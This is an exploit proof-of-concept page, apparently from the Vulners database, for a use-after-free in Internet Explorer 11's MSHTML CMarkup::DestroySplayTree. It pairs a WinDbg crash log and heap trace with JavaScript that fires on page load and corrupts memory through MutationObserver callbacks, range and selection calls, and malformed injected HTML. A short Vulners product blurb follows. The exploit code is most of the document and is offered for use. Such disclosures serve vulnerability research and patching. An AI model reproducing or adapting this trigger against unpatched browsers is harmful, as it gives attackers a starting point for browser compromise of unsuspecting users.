`<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Expires" content="0" />
<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
<meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
<meta http-equiv="Pragma" content="no-cache" />
<style type="text/css">
body{
background-color:black;
font-color:red;
};
</style>
<script type='text/javascript'></script>
<script type="text/javascript" language="JavaScript">
/********************************
* Exploit Title: Internet Explorer 11 CMarkup::DestroySplayTree Use-After-Free
* Google Dork: n/a
* Date: 03.05.2017
* Exploit Author: Marcin Ressel
* TT: @r_esselm
* Vendor Homepage: www.microsoft.com
* Software Link: n/a
* Version: 11.0.9600.18638
* Tested on: Windows 7
* CVE : n/a
* ****************************
(151c.10a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0cf14bd0 ecx=70062370 edx=00000000 esi=1195cfa0 edi=11abcfa0
eip=706af750 esp=09a5b240 ebp=09a5b3a4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x15ae0c:
706af750 ff36 push dword ptr [esi] ds:002b:1195cfa0=????????
0:007> !heap -p -a @esi
address 1195cfa0 found in
_DPH_HEAP_ROOT @ 9f61000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
ef4230c: 1195c000 2000
743990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
76f9170c ntdll!RtlDebugFreeHeap+0x0000002f
76f4a863 ntdll!RtlpFreeHeap+0x0000005d
76ef2bd5 ntdll!RtlFreeHeap+0x00000142
769c14ad kernel32!HeapFree+0x00000014
707ad096 MSHTML!MemoryProtection::HeapFree+0x00000046
6ff25102 MSHTML!CMarkup::DestroySplayTree+0x00000223
7000ca27 MSHTML!CMarkup::UnloadContents+0x000003c3
702b64b9 MSHTML!CMarkup::TearDownMarkupHelper+0x000000b2
702b63e0 MSHTML!CMarkup::TearDownMarkup+0x00000058
700c55a6 MSHTML!CFrameContentHelper::TearDownFrameContent+0x00000180
700c5484 MSHTML!CFrameSite::Passivate+0x00000024
6ff15107 MSHTML!CBase::PrivateRelease+0x000000c1
6fefe10e MSHTML!CElement::PrivateRelease+0x0000001a
705517cb MSHTML!CBase::JSBind_Release+0x00000050
6eed3de3 jscript9!Js::CustomExternalObject::Dispose+0x00000023
6eed3dac jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x0000011e
6eed4fb0 jscript9!HeapInfo::DisposeObjects+0x000000a9
6eed4e80 jscript9!Recycler::DisposeObjects+0x0000004a
6f048af0 jscript9!ThreadContext::DisposeObjects+0x00000072
6f11b6b6 jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x0003acdb
6eec259a jscript9!HeapBucketT<SmallFinalizableHeapBlock>::SnailAlloc+0x0000003e
6eec2609 jscript9!Recycler::AllocFinalized+0x000000ac
6eec318f jscript9!ScriptEngineBase::CreateTypedObjectFromScript+0x00000055
6eec312a jscript9!ScriptEngineBase::CreateTypedObject+0x0000006a
6ff28509 MSHTML!CJScript9Holder::CBaseToVar+0x00000120
709202cc MSHTML!CRegisteredMutationObserver::CreateTransientCopy+0x0000001b
7091ff2a MSHTML!CDOMNode::AppendTransientRegisteredObservers+0x000000e3
706af72d MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x0015ade9
7005f500 MSHTML!CSpliceTreeEngine::RemoveSplice+0x00004af6
70063a2e MSHTML!CMarkup::SpliceTreeInternal+0x000000a8
7052ee3f MSHTML!CDoc::CutCopyMove+0x00000d93
*
*/
var ref = [];
var doc = null;
var dom = null;
var trg = null;
var trg_parent = null;
var text_r = null;
var select_o = null;
function handle() {
try{doc.getElementsByTagName("*")[3].appendChild(document.createElement("td"));}catch(e){}
try{var tmp0=doc.getElementsByTagName("*")[3].removeNode(false).appendChild(document.createElement("button")).removeNode(true);rem.push(tmp0);}catch(e){}
try{document.body.innerHTML = "<td>1073741823<td><p><html><div><command><command><marque><td><marque><command><div><table><td><iframe>/>195936478<select><marque><rp><canvas>4278124286/><li>0/><x>4278124286/><canvas><p>/><li>/>65537<tr><command>4294967295<x><select><object>655364042322160<li>/>254<style>/></style></li><canvas><tr><th><li>65537/></li></th></tr></canvas></x>-127<html></html></tr>4042322160<div>/><marque><x>2<table>/>0</table></x></marque>52<canvas>2<li>3503345872/>65535</li></canvas>195936478<table><marque><p><table>/>1.9999999999999<style>4<style>239</style></style></table></p></marque></table>/>1094795585<html>4096<table></table></html><canvas><select></select></canvas></iframe>/>255<style><select>1024/><th>65537<canvas><p>2</p></canvas></th></select></style></div>3/>/><marque>4042322160/></marque>/>2147483646<table><marque><p><tr>/>65537/></tr></p></marque></table>1094795585/>/>65535<select><command>4096/>65537<canvas></canvas></command></select><li>255<select><table></table></select></li><tr>/><marque>1.9999999999999/>-127</marque></tr></command><table>4278124286<ol>-127<iframe><tr>1024</tr></iframe></ol></table></html><select>4294967294<marque><body>0<td><marque>1048576</marque></td></body></marque></select></td>";}catch(e){}
try{doc.execCommand("justifyCenter",false,"NULL");}catch(e){}
try{select_o.selectAllChildren(ref[1], 0);}catch(e){}
try{text_r.select();}catch(e){}
try{tree_r.setEnd(ref[0],0);}catch(e){}
try{select_o.selectAllChildren(doc.body);}catch(e){}
try{tree_r.surroundContents(ref[0]);}catch(e){}
try{text_r.pasteHTML("<svg viewBox=127 2147483647 255 5 xmlns=http://www.w3.org/2000/svg xmlns=about:blank><feGaussianBlur in=SourceGraphic /> </svg>");}catch(e){}
try{tree_r.selectNodeContents(document.body);}catch(e){}
try{trg_parent.innerHTML = trg.innerHTML;}catch(e){}
}
function testcase() {
var e1f = document.getElementById("e1");
doc = document.getElementById("t1").contentWindow.document;
e = e1f.contentWindow.document.createElement("ins");
e.cite = 'about:blank';
rf = doc.body.appendChild(e);
ref.push(rf);
e = e1f.contentWindow.document.createElement("iframe");
rf = doc.body.appendChild(e);
ref.push(rf);
dom = doc.getElementsByTagName("*");
trg = dom[3];
trg_parent = doc.body;
text_r = doc.body.createTextRange();
tree_r = doc.createRange();
tree_r.setStart(trg,0);
tree_r.setEnd(trg,0);
select_o = window.getSelection();
var ob = new MutationObserver(handle);
ob.observe(doc,{ attributes: true, childList: true, characterData: true, subtree: true });
try {
trg.insertBefore(document.createElement("div"),ref[1]);
} catch(e) {}
doc.adoptNode(trg.attributes[0]);
trg.appendChild(document.createElement("animateTransform")).removeNode(false).innnerText = "À";
tmp = trg;
}
</script>
<title>IE11 MSHTML!CMarkup::DestroySplayTree Use-After-Free</title>
</head>
<body onload='testcase();'>
<iframe src='about:blank' id='t1' width="100%"></iframe><iframe width="100%" src='about:blank' id='e1'></iframe>
</body>
</html>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation